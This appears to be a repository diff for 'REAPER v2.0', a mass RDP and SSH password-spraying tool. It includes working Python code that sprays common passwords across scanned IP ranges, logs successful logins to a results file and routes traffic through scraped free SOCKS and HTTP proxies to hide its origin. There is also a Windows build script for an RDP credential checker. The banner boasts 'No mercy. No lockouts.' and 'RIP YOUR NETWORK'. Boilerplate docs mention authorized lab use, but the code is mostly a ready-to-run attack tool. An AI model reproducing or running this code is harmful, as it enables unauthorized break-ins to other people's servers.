except (OSError, ConnectionError, RuntimeError):
pass
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
return (ip, port, username, password, False)
async def spray_all_hosts(
live_hosts: Set[Tuple[str, int]],
usernames: List[str] = None, # type: ignore
passwords: List[str] = None, # type: ignore
max_concurrent: int = 100,
timeout: float = 5.0,
progress_callback=None,
proxy_manager=None,
) -> List[Tuple[str, int, str, str]]:
"""
Spray passwords across all live hosts in rounds: for each password, try
that password with every (host, username) combo before advancing.
Supports optional proxy routing.
Returns list of (ip, port, username, password) successful hits.
"""
if usernames is None:
usernames = TOP_USERNAMES
if passwords is None:
passwords = TOP50_PASSWORDS
sem = asyncio.Semaphore(max_concurrent)
hits = []
hits_written = 0
total_attempts = len(live_hosts) * len(passwords) * len(usernames)
attempts = 0
start_time = time.time()
async def try_combo(ip: str, port: int, user: str, pwd: str):
nonlocal attempts
async with sem:
_, _, u, p, success = await spray_password(
ip, port, user, pwd, timeout, proxy_manager=proxy_manager
)
attempts += 1
if success:
hits.append((ip, port, u, p))
if progress_callback and attempts % 100 == 0:
elapsed = time.time() - start_time
rate = attempts / elapsed if elapsed > 0 else 0
progress_callback(attempts, total_attempts, len(hits), rate)
return success
logger.info(f"Spraying {len(passwords)} passwords across {len(live_hosts)} hosts...")
# Spray strategy: for each password, try it against ALL hosts first
# This is the "password spraying" approach - avoids lockouts
tasks = []
for password in passwords:
for ip, port in live_hosts:
for username in usernames:
tasks.append(asyncio.create_task(
try_combo(ip, port, username, password)
))
# Execute this password batch before moving to next password
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if len(hits) > hits_written:
_write_hits(hits[hits_written:])
hits_written = len(hits)
tasks = []
elapsed = time.time() - start_time
rate = attempts / elapsed if elapsed > 0 else 0
if progress_callback and total_attempts > 0:
progress_callback(attempts, total_attempts, len(hits), rate)
logger.info(
f"Spray complete: {len(hits)} hits from {attempts} attempts "
f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)"
)
return hits
async def spray_single_host(
ip: str,
port: int,
usernames: List[str] = None,
passwords: List[str] = None,
max_concurrent: int = 50,
timeout: float = 5.0,
hit_callback=None,
proxy_manager=None,
) -> List[Tuple[str, int, str, str]]:
"""
Spray ALL passwords against a SINGLE host immediately.
Called as soon as a host is discovered — no need to wait for full scan.
Supports optional proxy routing.
hit_callback(ip, port, user, password): called on each successful hit.
Returns list of (ip, port, username, password) hits.
"""
if usernames is None:
usernames = TOP_USERNAMES
if passwords is None:
passwords = TOP50_PASSWORDS
sem = asyncio.Semaphore(max_concurrent)
hits: List[Tuple[str, int, str, str]] = []
async def try_combo(user: str, pwd: str):
async with sem:
_, _, u, p, success = await spray_password(
ip, port, user, pwd, timeout, proxy_manager=proxy_manager
)
if success:
hits.append((ip, port, u, p))
if hit_callback:
hit_callback(ip, port, u, p)
# Fire all tasks
tasks = []
for user in usernames:
for pwd in passwords:
tasks.append(asyncio.create_task(try_combo(user, pwd)))
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
# Avoid duplicate lines in good.txt when GUI provides hit_callback (writes there).
if hits and hit_callback is None:
_write_hits(hits)
return hits
# ── SSH PASSWORD SPRAY ────────────────────────────────────────────────
def _try_ssh_password(ip: str, port: int, username: str, password: str,
timeout: float) -> bool:
"""Synchronous SSH password attempt using paramiko.
Runs in a thread executor to avoid blocking the event loop."""
try:
import paramiko
import socket
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(
ip, port=port, username=username, password=password,
timeout=timeout, look_for_keys=False, allow_agent=False,
banner_timeout=timeout,
)
client.close()
return True
except paramiko.AuthenticationException:
return False
except (paramiko.SSHException, OSError, socket.timeout, EOFError,
ConnectionResetError):
return False
except ImportError:
return False
async def spray_ssh_single_host(
ip: str,
port: int = 22,
usernames: List[str] = None,
passwords: List[str] = None,
max_concurrent: int = 30,
timeout: float = 5.0,
hit_callback=None,
proxy_manager=None,
) -> List[Tuple[str, int, str, str]]:
"""
Spray passwords against an SSH host using paramiko.
Falls back to banner-only check if paramiko is not installed.
When proxy is enabled, falls back to SSH banner check only
(paramiko doesn't support SOCKS natively).
"""
if usernames is None:
usernames = TOP_USERNAMES
if passwords is None:
passwords = TOP50_PASSWORDS
# If proxy is enabled or paramiko not available, fall back to banner check
use_banner_fallback = bool(proxy_manager and proxy_manager.enabled)
sem = asyncio.Semaphore(max_concurrent)
hits: List[Tuple[str, int, str, str]] = []
async def try_combo(user: str, pwd: str):
async with sem:
if use_banner_fallback:
# Just do a TCP/banner check (confirms SSH is alive)
open_conn = proxy_manager.open_connection if proxy_manager and proxy_manager.enabled else asyncio.open_connection
try:
_, writer = await asyncio.wait_for(
open_conn(ip, port), timeout=timeout
)
writer.close()
await writer.wait_closed()
# Can't validate creds through proxy, but host is alive
except (asyncio.TimeoutError, OSError, ConnectionError):
pass
return
# Run paramiko in thread executor (it's synchronous)
loop = asyncio.get_running_loop()
success = await loop.run_in_executor(
None, _try_ssh_password, ip, port, user, pwd, timeout
)
if success:
hits.append((ip, port, user, pwd))
if hit_callback:
hit_callback(ip, port, user, pwd)
# Fire all tasks
tasks = []
for user in usernames:
for pwd in passwords:
tasks.append(asyncio.create_task(try_combo(user, pwd)))
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
if hits and hit_callback is None:
_write_hits(hits)
return hits
def _write_hits(hits: List[Tuple[str, int, str, str]]):
"""Write successful hits to results file immediately."""
output_path = os.path.join(
os.path.dirname(os.path.abspath(__file__)),
"results", "good.txt",
)
os.makedirs(os.path.dirname(output_path), exist_ok=True)
with open(output_path, 'a') as f:
for ip, port, user, pwd in hits:
line = f"{user}:{pwd}@{ip}:{port}\n"
f.write(line)
print(f"\n[+] HIT! {line.strip()}")

39
build_rdpthread.bat Normal file
View File

@@ -0,0 +1,39 @@
@echo off
title Build rdpthread.exe
cd /d "%~dp0"
echo.
echo ╔════════════════════════════════════════════════════════╗
echo ║ Building rdpthread.exe - RDP Credential Validator ║
echo ╚════════════════════════════════════════════════════════╝
echo.
:: Find the C# compiler
set CSC=
for %%d in (v4.0.30319 v3.5 v2.0.50727) do (
if exist "%windir%\Microsoft.NET\Framework\%%d\csc.exe" (
set CSC="%windir%\Microsoft.NET\Framework\%%d\csc.exe"
goto :compile
)
)
echo [FAIL] C# compiler (csc.exe) not found!
echo Install .NET Framework SDK or Visual Studio Build Tools.
pause
exit /b 1
:compile
echo [*] Found C# compiler: %CSC%
echo [*] Compiling rdpthread.cs...
%CSC% /target:exe /out:rdpthread.exe /nologo rdpthread.cs
if %errorlevel% neq 0 (
echo [FAIL] Compilation failed
pause
exit /b 1
)
echo [OK] rdpthread.exe built successfully
echo.
echo Usage: rdpthread.exe ^<ip^> ^<port^> ^<username^> ^<password^>
echo.
pause

23
docs/MAINTENANCE.md Normal file
View File

@@ -0,0 +1,23 @@
# Maintenance
<!-- stewardship-standard: maintenance-v1 -->
## Stewardship Rules
- Keep generated files, build outputs, copied SDKs, and raw firmware binaries out of Git unless they are the source of truth.
- Keep credentials, tokens, dumps, private messages, session stores, and local machine paths out of commits.
- Prefer small commits with clear intent and a matching issue or release note.
- Preserve upstream attribution when code is copied, forked, or adapted.
## Routine Checks
- README still describes what the project does.
- Setup instructions still work.
- Security policy is accurate for the current risk level.
- Changelog records user-visible changes.
- License status is explicit.
## Automation Gate
- Confirm no tokens, session cookies, personal data, or exported credentials are committed.
- Document required environment variables with safe example values only.
- Add rate-limit and account-safety notes before any release.

14
docs/PROJECT_HANDOFF.md Normal file
View File

@@ -0,0 +1,14 @@
# Project Handoff
<!-- stewardship-standard: project-handoff-v1 -->
## What This Repo Needs From A Maintainer
- A one-paragraph project summary in README.md.
- Confirmed setup instructions.
- Confirmed license status.
- Confirmed provenance for imported code and binaries.
- A known-good verification command, test, build, flash, or demo path.
## Current Stewardship State
This repo has baseline governance files, wiki pages, issue templates, labels, milestones, and a readiness issue. The next maintainer should replace generic stewardship notes with project-specific facts.

View File

@@ -0,0 +1,12 @@
# Provenance Checklist
<!-- stewardship-standard: provenance-checklist-v1 -->
Use this before claiming ownership or publishing artifacts.
- [ ] Identify original upstream source, if any.
- [ ] Record fork URL, commit, tag, or archive source.
- [ ] Preserve third-party notices and license files.
- [ ] Separate local patches from imported code where practical.
- [ ] Record binary build inputs, toolchain versions, and source commit.
- [ ] Publish checksums for release assets.
- [ ] Mark unknown-origin content as blocked until resolved.

20
docs/RELEASE_PROCESS.md Normal file
View File

@@ -0,0 +1,20 @@
# Release Process
<!-- stewardship-standard: release-process-v1 -->
## Before Tagging
- Confirm the default branch builds, runs, or flashes as documented.
- Confirm no secrets, private data, generated dependency trees, or raw binaries are accidentally committed.
- Confirm license and upstream provenance are documented.
- Update CHANGELOG.md.
- Attach binaries only as release assets with SHA256 checksums and source commit references.
## Release Notes
Include:
- Purpose of the release.
- Commit hash or tag.
- Build environment.
- Known limitations.
- Verification performed.

20
docs/ROADMAP.md Normal file
View File

@@ -0,0 +1,20 @@
# Roadmap
<!-- stewardship-standard: roadmap-v1 -->
## Now
- Confirm the project purpose in the README.
- Confirm build, run, or flash instructions on a clean machine.
- Classify license status and upstream provenance.
- Close the stewardship readiness checklist issue.
## Next
- Add project-specific tests or verification steps.
- Publish the first verified release only after provenance and security review.
- Replace placeholder wiki notes with project-specific architecture or hardware details.
## Later
- Add examples, screenshots, wiring diagrams, or demo media where useful.
- Decide whether duplicate or experimental branches should be archived.

14
docs/SECURITY_REVIEW.md Normal file
View File

@@ -0,0 +1,14 @@
# Security Review
<!-- stewardship-standard: security-review-v1 -->
## Required Checks
- [ ] No credentials, tokens, cookies, API keys, private keys, or session files.
- [ ] No private user data, dumps, card data, logs, or captures that should not be stored.
- [ ] No copied dependency trees where package managers or SDK installers should be used instead.
- [ ] No unexplained binaries in source history.
- [ ] Risky behavior is documented and scoped to authorized lab use.
## Release Gate
A release is blocked until the checklist is complete or a maintainer explicitly records why the item does not apply.

1261
gui.py Normal file

File diff suppressed because it is too large Load Diff

65
install.bat Normal file
View File

@@ -0,0 +1,65 @@
@echo off
title REAPER v2.0 - Installer
color 0C
cd /d "%~dp0"
echo.
echo ╔═══════════════════════════════════════════════════╗
echo ║ ☠ REAPER v2.0 Installer ☠ ║
echo ║ Remote Exploitation ^& Password Enumeration ║
echo ╚═══════════════════════════════════════════════════╝
echo.
:: Check Python
python --version >nul 2>&1
if %errorlevel% neq 0 (
echo [FAIL] Python is not installed or not in PATH!
echo.
echo Download Python 3.8+ from: https://python.org/downloads
echo Make sure to check "Add Python to PATH" during installation.
echo.
pause
exit /b 1
)
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
echo [OK] Python %pyver% found
:: Create directories
if not exist "wordlists" mkdir wordlists
if not exist "results" mkdir results
echo [OK] Directories created
:: Verify core files exist
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py
for %%f in (%FILES%) do (
if exist "%%f" (
echo [OK] %%f
) else (
echo [WARN] %%f not found
)
)
:: Create initial good.txt
if not exist "results\good.txt" (
echo. > "results\good.txt"
echo [OK] Created results\good.txt
)
:: Test import
echo.
echo Testing imports...
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; print(' [OK] All modules loaded successfully')" 2>&1
if %errorlevel% neq 0 (
echo [FAIL] Import test failed. There may be a syntax error.
pause
exit /b 1
)
echo.
echo ╔══════════════════════════════════════════╗
echo ║ Installation Complete! ║
echo ║ ║
echo ║ Run: run.bat or python main.py ║
echo ╚══════════════════════════════════════════╝
echo.
pause

96
ip_utils.py Normal file
View File

@@ -0,0 +1,96 @@
"""
FastRDP-NG IP Utilities
Parse IP ranges, CIDR notation, stick to basics.
"""
import ipaddress
import re
from typing import Generator
IP_RANGE_RE = re.compile(
r'^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s*-\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$'
)
SINGLE_IP_RE = re.compile(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$')
def parse_line(line: str) -> Generator[str, None, None]:
"""Parse a single line: single IP, dash range, CIDR."""
line = line.strip()
if not line or line.startswith('#') or line.startswith('//'):
return
# CIDR: 192.168.1.0/24 (/32 must use the network address — .hosts() is empty)
if '/' in line:
try:
network = ipaddress.IPv4Network(line, strict=False)
if network.prefixlen == 32:
yield str(network.network_address)
else:
for host in network.hosts():
yield str(host)
except ValueError:
pass
return
# Dash range: 192.168.1.1-192.168.1.255
match = IP_RANGE_RE.match(line)
if match:
try:
start = int(ipaddress.IPv4Address(match.group(1)))
end = int(ipaddress.IPv4Address(match.group(2)))
if start > end:
start, end = end, start
# Cap at /16 to prevent memory bombs
if end - start > 65536:
end = start + 65536
for ip_int in range(start, end + 1):
yield str(ipaddress.IPv4Address(ip_int))
except ValueError:
pass
return
# Single IP
if SINGLE_IP_RE.match(line):
yield line
def parse_ranges_file(filepath: str) -> Generator[str, None, None]:
"""Parse ranges.txt, yield individual IPs lazily."""
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
yield from parse_line(line)
def count_ips(filepath: str) -> int:
"""Quick count of total IPs for progress tracking."""
total = 0
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
line = line.strip()
if not line or line.startswith('#') or line.startswith('//'):
continue
if '/' in line:
try:
n = ipaddress.IPv4Network(line, strict=False)
if n.prefixlen >= 31:
total += n.num_addresses
else:
total += max(0, n.num_addresses - 2)
except ValueError:
total += 1
elif IP_RANGE_RE.match(line):
m = IP_RANGE_RE.match(line)
if m is None:
total += 1
continue
s = int(ipaddress.IPv4Address(m.group(1)))
e = int(ipaddress.IPv4Address(m.group(2)))
if s > e:
s, e = e, s
# Same /16 cap as parse_line() so Total matches work done
if e - s > 65536:
e = s + 65536
total += e - s + 1
elif SINGLE_IP_RE.match(line):
total += 1
return total

104
main.py Normal file
View File

@@ -0,0 +1,104 @@
#!/usr/bin/env python3
"""
REAPER v2.0 — Remote Exploitation & Password Enumeration Routine
================================================================
Mass RDP Scanner + Password Sprayer + SOCKS5 Proxy Rotator.
No mercy. No lockouts. Just results.
Made for doom by drjones.
"""
import sys
import os
# Force UTF-8 encoding to handle Unicode box-drawing characters in banner
try:
sys.stdout.reconfigure(encoding='utf-8')
except (AttributeError, ValueError):
pass
# Add project dir to path
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from gui import FastRDPGUI
# ── REAPER SKULL ───────────────────────────────────────────────
REAPER_ASCII = r"""
\033[91m
.-.
(0 0)
____\___/_____
/ ___________ \
/ / \ \
| / RIP YOUR \ |
| | NETWORK | |
| | ☠ ☠ ☠ ☠ | |
| \ / |
\ \___________/ /
\_____________/
___|_________|___
| ___________ |
| | | |
| | REAPER | |
| | v2.0 | |
| |___________| |
|_________________|
| |
___| |___
|_____ _____|
| |
| |
/ \
/ \
\033[0m
"""
BANNER = f"""
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
\033[91m \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\033[0m
\033[91m \u2502\033[0m \033[97mREAPER v2.0 :: RDP REAPER :: No Mercy\033[0m \033[91m\u2502\033[0m
\033[91m \u2502\033[0m \033[90mRemote Exploitation & Password Enumeration Routine\033[0m \033[91m\u2502\033[0m
\033[91m \u2502\033[0m \033[31m\u2620 Mass RDP Scan | Password Spray | SOCKS5 Proxy \u2620\033[0m \033[91m\u2502\033[0m
\033[91m \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\033[0m
"""
def main():
try:
print(BANNER)
except (UnicodeEncodeError, OSError):
print("""
==============================================
REAPER v2.0 - RDP Exploitation Framework
==============================================
""")
# Check if tkinter is available
try:
import tkinter
except ImportError:
print("[!] ERROR: tkinter not found! GUI mode requires tkinter.")
print(" On Windows, reinstall Python with 'tcl/tk and IDLE' checked.")
sys.exit(1)
app = FastRDPGUI()
app.run()
if __name__ == "__main__":
main()

414
proxy.py Normal file
View File

@@ -0,0 +1,414 @@
"""
FastRDP-NG: Proxy Manager Module.
Fetches free SOCKS5/HTTP proxy lists, tests them, and provides rotating proxy
support for all outbound connections. Integrates with scanner + spray modules.
"""
import asyncio
import logging
import random
import time
from dataclasses import dataclass, field
from typing import List, Optional, Tuple, Callable
import aiohttp
from aiohttp_socks import open_connection as socks_open_connection
from aiohttp_socks import ProxyType, ProxyConnectionError
logger = logging.getLogger("FastRDP-NG")
# ── Proxy sources (free proxy lists from GitHub) ─────────────────────────
PROXY_SOURCES = [
# Proxifly format: JSON array of {ip, port, protocol, ...}
"https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies.json",
# TheSpeedX format: ip:port per line (HTTP)
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt",
# TheSpeedX format: ip:port per line (SOCKS4)
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt",
# TheSpeedX format: ip:port per line (SOCKS5)
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt",
# ProxyScrape format: ip:port per line
"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&timeout=10000&country=all",
"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all",
# Monosans format: ip:port per line
"https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/all.txt",
]
# Test URL for proxy verification (fast, reliable endpoint)
PROXY_TEST_URL = "http://httpbin.org/ip"
PROXY_TEST_TIMEOUT = 8.0
# Default credentials for proxy testing (most free proxies don't use auth)
NO_AUTH = ("", "")
# ── How often to refresh from sources (seconds) ──────────────────────────
REFRESH_INTERVAL = 300 # 5 minutes
@dataclass
class ProxyEntry:
"""A single proxy entry with status tracking."""
host: str
port: int
protocol: str # "socks5", "socks4", "http"
alive: bool = False
latency: float = 0.0 # ms
last_tested: float = 0.0
failures: int = 0
username: str = ""
password: str = ""
@property
def proxy_type(self) -> ProxyType:
if self.protocol == "socks4":
return ProxyType.SOCKS4
elif self.protocol == "socks5":
return ProxyType.SOCKS5
else:
return ProxyType.HTTP
@property
def url(self) -> str:
"""Return proxy URL string for aiohttp_socks."""
if self.username:
return f"{self.protocol}://{self.username}:{self.password}@{self.host}:{self.port}"
return f"{self.protocol}://{self.host}:{self.port}"
def __str__(self):
status = "\u2713" if self.alive else "\u2717"
return f"{status} {self.protocol}://{self.host}:{self.port} ({self.latency:.0f}ms)"
class ProxyManager:
"""
Manages a dynamic list of proxies with fetching, testing, rotation.
"""
def __init__(self):
self.proxies: List[ProxyEntry] = []
self._working: List[ProxyEntry] = []
self._rotation_index = 0
# State
self.enabled = False
self.auto_rotate = True
self.testing = False
self.fetching = False
self.last_refresh = 0.0
# Stats
self.total_fetched = 0
self.working_count = 0
self.failed_count = 0
# Session for HTTP requests
self._session: Optional[aiohttp.ClientSession] = None
async def _get_session(self) -> aiohttp.ClientSession:
if self._session is None or self._session.closed:
self._session = aiohttp.ClientSession(
timeout=aiohttp.ClientTimeout(total=15)
)
return self._session
async def close(self):
if self._session and not self._session.closed:
await self._session.close()
# ── FETCHING ──────────────────────────────────────────────────────────
async def fetch_from_sources(
self,
progress_callback: Optional[Callable[[str], None]] = None
) -> int:
"""
Fetch proxy lists from all configured sources.
Returns total number of unique proxies collected.
"""
if self.fetching:
return len(self.proxies)
self.fetching = True
try:
session = await self._get_session()
all_proxies: List[Tuple[str, int, str]] = [] # (host, port, protocol)
seen = set()
for source_url in PROXY_SOURCES:
try:
if progress_callback:
progress_callback(f"Fetching: {source_url.split('/')[-1][:40]}...")
async with session.get(source_url, timeout=10) as resp:
if resp.status != 200:
continue
text = await resp.text()
# Parse based on source URL pattern
if "proxifly" in source_url.lower() or source_url.endswith(".json"):
# JSON format: [{"ip":"...","port":...,"protocol":"..."}]
parsed = self._parse_proxifly_json(text)
else:
# Plain text: ip:port per line
parsed = self._parse_plain_text(text)
for host, port, protocol in parsed:
key = (host, port, protocol)
if key not in seen:
seen.add(key)
all_proxies.append((host, port, protocol))
if progress_callback:
progress_callback(f" -> Got {len(parsed)} proxies from {source_url.split('/')[-1][:30]}")
except (asyncio.TimeoutError, aiohttp.ClientError, Exception) as e:
logger.debug(f"Proxy source failed: {source_url[:60]} - {e}")
continue
# Deduplicate and create entries
new_proxies = []
for host, port, protocol in all_proxies:
# Skip duplicates with existing entries
exists = any(
p.host == host and p.port == port and p.protocol == protocol
for p in self.proxies
)
if not exists:
new_proxies.append(ProxyEntry(
host=host, port=port, protocol=protocol
))
self.proxies.extend(new_proxies)
self.total_fetched = len(self.proxies)
if progress_callback:
progress_callback(f"\U0001f4e1 Total: {len(self.proxies)} unique proxies collected")
self.last_refresh = time.time()
return len(self.proxies)
finally:
self.fetching = False
def _parse_proxifly_json(self, text: str) -> List[Tuple[str, int, str]]:
"""Parse proxifly JSON format."""
import json
result = []
try:
data = json.loads(text)
if isinstance(data, list):
for entry in data:
ip = entry.get("ip", "") or entry.get("host", "")
port = entry.get("port", 0)
protocol = entry.get("protocol", "socks5").lower()
if ip and port:
# Map protocol names
if protocol in ("socks5", "socks4", "http", "https"):
if protocol == "https":
protocol = "http"
result.append((ip, int(port), protocol))
except (json.JSONDecodeError, ValueError):
pass
return result
def _parse_plain_text(self, text: str) -> List[Tuple[str, int, str]]:
"""Parse 'ip:port' per line format."""
result = []
# Determine protocol from context (will be overwritten by caller)
# We try to autodetect or default to socks5
for line in text.splitlines():
line = line.strip()
if not line or line.startswith("#") or line.startswith("//"):
continue
# Try ip:port format
if ":" in line and not line.startswith("["):
parts = line.split(":")
if len(parts) == 2:
ip, port_str = parts
try:
port = int(port_str)
if 1 <= port <= 65535:
# Default to socks5 (source determines actual type)
result.append((ip, port, "socks5"))
except ValueError:
pass
return result
# ── TESTING ───────────────────────────────────────────────────────────
async def test_proxy(
self,
proxy: ProxyEntry,
test_url: str = PROXY_TEST_URL,
timeout: float = PROXY_TEST_TIMEOUT
) -> bool:
"""
Test a single proxy by making an HTTP request through it.
Returns True if proxy is working.
"""
start = time.time()
try:
# Use aiohttp with ProxyConnector for testing
from aiohttp_socks import ProxyConnector
connector = ProxyConnector(
proxy_type=proxy.proxy_type,
proxy_host=proxy.host,
proxy_port=proxy.port,
username=proxy.username or None,
password=proxy.password or None,
rdns=True
)
async with aiohttp.ClientSession(connector=connector, timeout=aiohttp.ClientTimeout(total=timeout)) as session:
async with session.get(test_url, timeout=timeout) as resp:
if resp.status == 200:
proxy.alive = True
proxy.latency = (time.time() - start) * 1000 # ms
proxy.last_tested = time.time()
proxy.failures = 0
return True
else:
proxy.alive = False
proxy.failures += 1
return False
except (ProxyConnectionError, asyncio.TimeoutError,
aiohttp.ClientError, OSError, ConnectionError):
proxy.alive = False
proxy.failures += 1
return False
finally:
proxy.last_tested = time.time()
async def test_all(
self,
max_concurrent: int = 100,
progress_callback: Optional[Callable[[int, int], None]] = None
) -> int:
"""
Test all untested/failed proxies in the pool.
Returns number of working proxies found.
"""
if self.testing:
return self.working_count
self.testing = True
try:
# Test proxies that haven't been tested or have failures
to_test = [
p for p in self.proxies
if not p.alive or p.failures > 0
]
if not to_test:
# Test a random sample if all are already alive
to_test = random.sample(self.proxies, min(50, len(self.proxies)))
total = len(to_test)
tested = 0
working = 0
sem = asyncio.Semaphore(max_concurrent)
async def test_one(proxy: ProxyEntry):
nonlocal tested, working
async with sem:
ok = await self.test_proxy(proxy)
tested += 1
if ok:
working += 1
if progress_callback and tested % 10 == 0:
progress_callback(tested, total)
tasks = [asyncio.create_task(test_one(p)) for p in to_test]
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
# Update working list
self._working = [p for p in self.proxies if p.alive]
self.working_count = len(self._working)
self.failed_count = len(self.proxies) - self.working_count
return self.working_count
finally:
self.testing = False
# ── ROTATION ──────────────────────────────────────────────────────────
async def get_proxy(self) -> Optional[ProxyEntry]:
"""
Get the next working proxy (round-robin if auto_rotate is enabled).
Returns None if no working proxies available.
"""
if not self._working:
return None
if self.auto_rotate and len(self._working) > 1:
proxy = self._working[self._rotation_index % len(self._working)]
self._rotation_index += 1
else:
proxy = self._working[self._rotation_index % len(self._working)]
return proxy
def mark_bad(self, proxy: ProxyEntry):
